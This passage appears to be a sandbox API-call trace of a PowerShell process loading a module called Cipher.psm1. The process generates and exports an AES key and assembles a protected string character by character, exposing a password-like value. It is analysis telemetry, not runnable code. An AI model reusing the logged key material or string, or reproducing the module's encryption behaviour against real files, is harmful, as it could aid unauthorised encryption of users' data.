out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.466] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0136.466] GetConsoleOutputCP () returned 0x1b5 [0136.467] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0136.467] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0136.467] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x697a068*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x697a068*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0136.467] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0136.468] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0136.472] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.472] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x56, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x56, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.472] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.473] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0136.473] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.473] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x56, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.473] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.476] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0136.477] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0136.477] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.477] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.477] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.478] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x43969b0) returned 1 [0136.478] CryptGenKey (in: hProv=0x43969b0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84df8) returned 1 [0136.478] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.479] CryptExportKey (in: hKey=0x8e84df8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0136.479] CryptExportKey (in: hKey=0x8e84df8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6983bf4, pdwDataLen=0x99ae894 | out: pbData=0x6983bf4*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0136.479] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.479] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.479] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.479] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.479] SysStringLen (param_1="") returned 0x8 [0136.480] SysStringLen (param_1="f") returned 0x8 [0136.480] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.480] SysStringLen (param_1="\xb4a0\x4bbe\x65ab\x4cb0\x1e2b\xbfd9\x977e\xc358") returned 0x8 [0136.480] SysStringLen (param_1="\xb4a0\x4bbe\x65ab\x4cb0\x1e2b\xbfd9\x977e\xc358") returned 0x8 [0136.480] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.480] SysStringLen (param_1="f0") returned 0x8 [0136.480] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.480] SysStringLen (param_1="\x818d\xb7bd\xf54b\x42e2\x4560\x18b8\xc9f3\x44e5") returned 0x8 [0136.480] SysStringLen (param_1="\x818d\xb7bd\xf54b\x42e2\x4560\x18b8\xc9f3\x44e5") returned 0x8 [0136.482] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.482] SysStringLen (param_1="f03") returned 0x8 [0136.482] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.482] SysStringLen (param_1="\x1e8b\xff88\xdff1\x2a25\xa10b\x7db7\xd737\x4a44") returned 0x8 [0136.482] SysStringLen (param_1="\x1e8b\xff88\xdff1\x2a25\xa10b\x7db7\xd737\x4a44") returned 0x8 [0136.482] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.482] SysStringLen (param_1="f031") returned 0x8 [0136.482] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.482] SysStringLen (param_1="\x5a06\x8569\xe821\xa631\x5694\x58b2\x4113\xcdd") returned 0x8 [0136.483] SysStringLen (param_1="\x5a06\x8569\xe821\xa631\x5694\x58b2\x4113\xcdd") returned 0x8 [0136.483] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.483] SysStringLen (param_1="f031a") returned 0x8 [0136.483] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.483] SysStringLen (param_1="\xf72e\x388\xddcb\x888e\x4582\xedbf\x3808\xb7d0") returned 0x8 [0136.483] SysStringLen (param_1="\xf72e\x388\xddcb\x888e\x4582\xedbf\x3808\xb7d0") returned 0x8 [0136.483] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.483] SysStringLen (param_1="f031af") returned 0x8 [0136.483] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.483] SysStringLen (param_1="\x8a6\xce1c\x72\xb9b2\x7553\x14d6\xf515\x2f0f") returned 0x8 [0136.483] SysStringLen (param_1="\x8a6\xce1c\x72\xb9b2\x7553\x14d6\xf515\x2f0f") returned 0x8 [0136.483] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.483] SysStringLen (param_1="f031afr") returned 0x8 [0136.483] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.483] SysStringLen (param_1="\x4fe7\x15d0\xb3cf\x3b7\x22ac\x95c\xf2ea\x6f22") returned 0x8 [0136.483] SysStringLen (param_1="\x4fe7\x15d0\xb3cf\x3b7\x22ac\x95c\xf2ea\x6f22") returned 0x8 [0136.484] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.484] SysStringLen (param_1="f031afr4") returned 0x8 [0136.484] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.484] SysStringLen (param_1="䈿ջ㆝虶付ء┺⡤") returned 0x8 [0136.484] SysStringLen (param_1="䈿ջ㆝虶付ء┺⡤") returned 0x8 [0136.484] SysStringLen (param_1="䈿ջ㆝虶付ء┺⡤") returned 0x8 [0136.484] SysStringLen (param_1="䈿ջ㆝虶付ء┺⡤") returned 0x10 [0136.484] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.484] SysStringLen (param_1="f031afr4TՑ䋕蝰記ኴ惁ᢷ") returned 0x10 [0136.484] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.484] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x4e91\xb352\x7023\xd93d\xd49\x673f\x2290\x8849") returned 0x10 [0136.484] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x4e91\xb352\x7023\xd93d\xd49\x673f\x2290\x8849") returned 0x10 [0136.484] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.484] SysStringLen (param_1="f031afr4TA䋕蝰記ኴ惁ᢷ") returned 0x10 [0136.485] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.485] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\xbe89\x3480\x4210\x5bf1\x9649\xcd43\x41a7\x61d8") returned 0x10 [0136.485] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\xbe89\x3480\x4210\x5bf1\x9649\xcd43\x41a7\x61d8") returned 0x10 [0136.485] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.485] SysStringLen (param_1="f031afr4TAD蝰記ኴ惁ᢷ") returned 0x10 [0136.485] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.485] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x2f1b\x7f7a\x47b5\x5062\xe403\xa426\xd15a\xd5d3") returned 0x10 [0136.485] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x2f1b\x7f7a\x47b5\x5062\xe403\xa426\xd15a\xd5d3") returned 0x10 [0136.485] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.485] SysStringLen (param_1="f031afr4TADb記ኴ惁ᢷ") returned 0x10 [0136.485] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.485] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\xbeb7\x92cb\xfde8\xdf54\x9a0\x2196\x2534\x29d3") returned 0x10 [0136.485] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\xbeb7\x92cb\xfde8\xdf54\x9a0\x2196\x2534\x29d3") returned 0x10 [0136.485] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.485] SysStringLen (param_1="f031afr4TADbuኴ惁ᢷ") returned 0x10 [0136.485] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.485] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\xcb13\xac1\x9803\xe33c\xde4b\x7201\x2435\xb4c1") returned 0x10 [0136.486] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\xcb13\xac1\x9803\xe33c\xde4b\x7201\x2435\xb4c1") returned 0x10 [0136.486] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.486] SysStringLen (param_1="f031afr4TADbu3惁ᢷ") returned 0x10 [0136.486] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.486] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\xf7be\xb307\xaf95\x438b\x2782\x6302\x4a41\xe6ed") returned 0x10 [0136.486] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\xf7be\xb307\xaf95\x438b\x2782\x6302\x4a41\xe6ed") returned 0x10 [0136.486] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.486] SysStringLen (param_1="f031afr4TADbu3Kᢷ") returned 0x10 [0136.486] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.486] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x432c\xa6e8\xa28d\xe7\xf632\x55e1\x933\xbab6") returned 0x10 [0136.486] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x432c\xa6e8\xa28d\xe7\xf632\x55e1\x933\xbab6") returned 0x10 [0136.486] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.486] SysStringLen (param_1="f031afr4TADbu3Ki") returned 0x10 [0136.486] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.486] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e") returned 0x10 [0136.487] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e") returned 0x10 [0136.487] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e") returned 0x10 [0136.487] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e") returned 0x18 [0136.487] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.487] SysStringLen (param_1="f031afr4TADbu3Kiy혃䌆᳐⡑띲㚍") returned 0x18 [0136.487] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.487] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\x2499\x4b60\xc4c9\xe8e5\x5e2f\x7235\x6a0f\x385b") returned 0x18 [0136.487] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\x2499\x4b60\xc4c9\xe8e5\x5e2f\x7235\x6a0f\x385b") returned 0x18 [0136.487] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.488] SysStringLen (param_1="f031afr4TADbu3KiyR䌆᳐⡑띲㚍") returned 0x18 [0136.488] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.488] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\x7b0e\xfc40\x40e1\xc37\x61b8\x454a\xef8d\xf559") returned 0x18 [0136.488] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\x7b0e\xfc40\x40e1\xc37\x61b8\x454a\xef8d\xf559") returned 0x18 [0136.488] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.488] SysStringLen (param_1="f031afr4TADbu3KiyR1᳐⡑띲㚍") returned 0x18 [0136.488] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.488] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\x40ad\xf87c\xdc59\xc933\x1b0a\x2093\xe1c6\xa5d3") returned 0x18 [0136.488] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\x40ad\xf87c\xdc59\xc933\x1b0a\x2093\xe1c6\xa5d3") returned 0x18 [0136.488] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.488] SysStringLen (param_1="f031afr4TADbu3KiyR1r⡑띲㚍") returned 0x18 [0136.488] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.488] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\x6008\xea1a\x81ff\x6fb5\x9d51\x1e85\x93a2\x4cba") returned 0x18 [0136.488] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\x6008\xea1a\x81ff\x6fb5\x9d51\x1e85\x93a2\x4cba") returned 0x18 [0136.488] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.489] SysStringLen (param_1="f031afr4TADbu3KiyR1rh⡑띲㚍") returned 0x18 [0136.489] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.489] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xed77\xcc42\xe2b5\x9e1b\x3e6\x1df6\xbf81\x9d48") returned 0x18 [0136.489] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xed77\xcc42\xe2b5\x9e1b\x3e6\x1df6\xbf81\x9d48") returned 0x18 [0136.489] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.489] SysStringLen (param_1="f031afr4TADbu3KiyR1rhh띲㚍") returned 0x18 [0136.489] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.489] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xc7b0\x4688\x898f\x7ad9\xdc54\x8d75\xdb5c\xc1f8") returned 0x18 [0136.489] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xc7b0\x4688\x898f\x7ad9\xdc54\x8d75\xdb5c\xc1f8") returned 0x18 [0136.489] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.489] SysStringLen (param_1="f031afr4TADbu3KiyR1rhho㚍") returned 0x18 [0136.489] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.489] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa96e\xad0d\xcdc1\xf209\xa142\x8810\xd902\x5b57") returned 0x18 [0136.489] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa96e\xad0d\xcdc1\xf209\xa142\x8810\xd902\x5b57") returned 0x18 [0136.489] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.489] SysStringLen (param_1="f031afr4TADbu3KiyR1rhhoy") returned 0x18 [0136.489] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.490] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c") returned 0x18 [0136.491] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c") returned 0x18 [0136.491] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c") returned 0x18 [0136.491] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c") returned 0x20 [0136.491] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.491] SysStringLen (param_1="f031afr4TADbu3KiyR1rhhoyL⺧鳐ﳐ쒀䩉⹟") returned 0x20 [0136.491] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.491] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\xfff2\xfe18\xafb6\x40e7\xaa1c\x70cb\x4c23\xf2e1") returned 0x20 [0136.491] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\xfff2\xfe18\xafb6\x40e7\xaa1c\x70cb\x4c23\xf2e1") 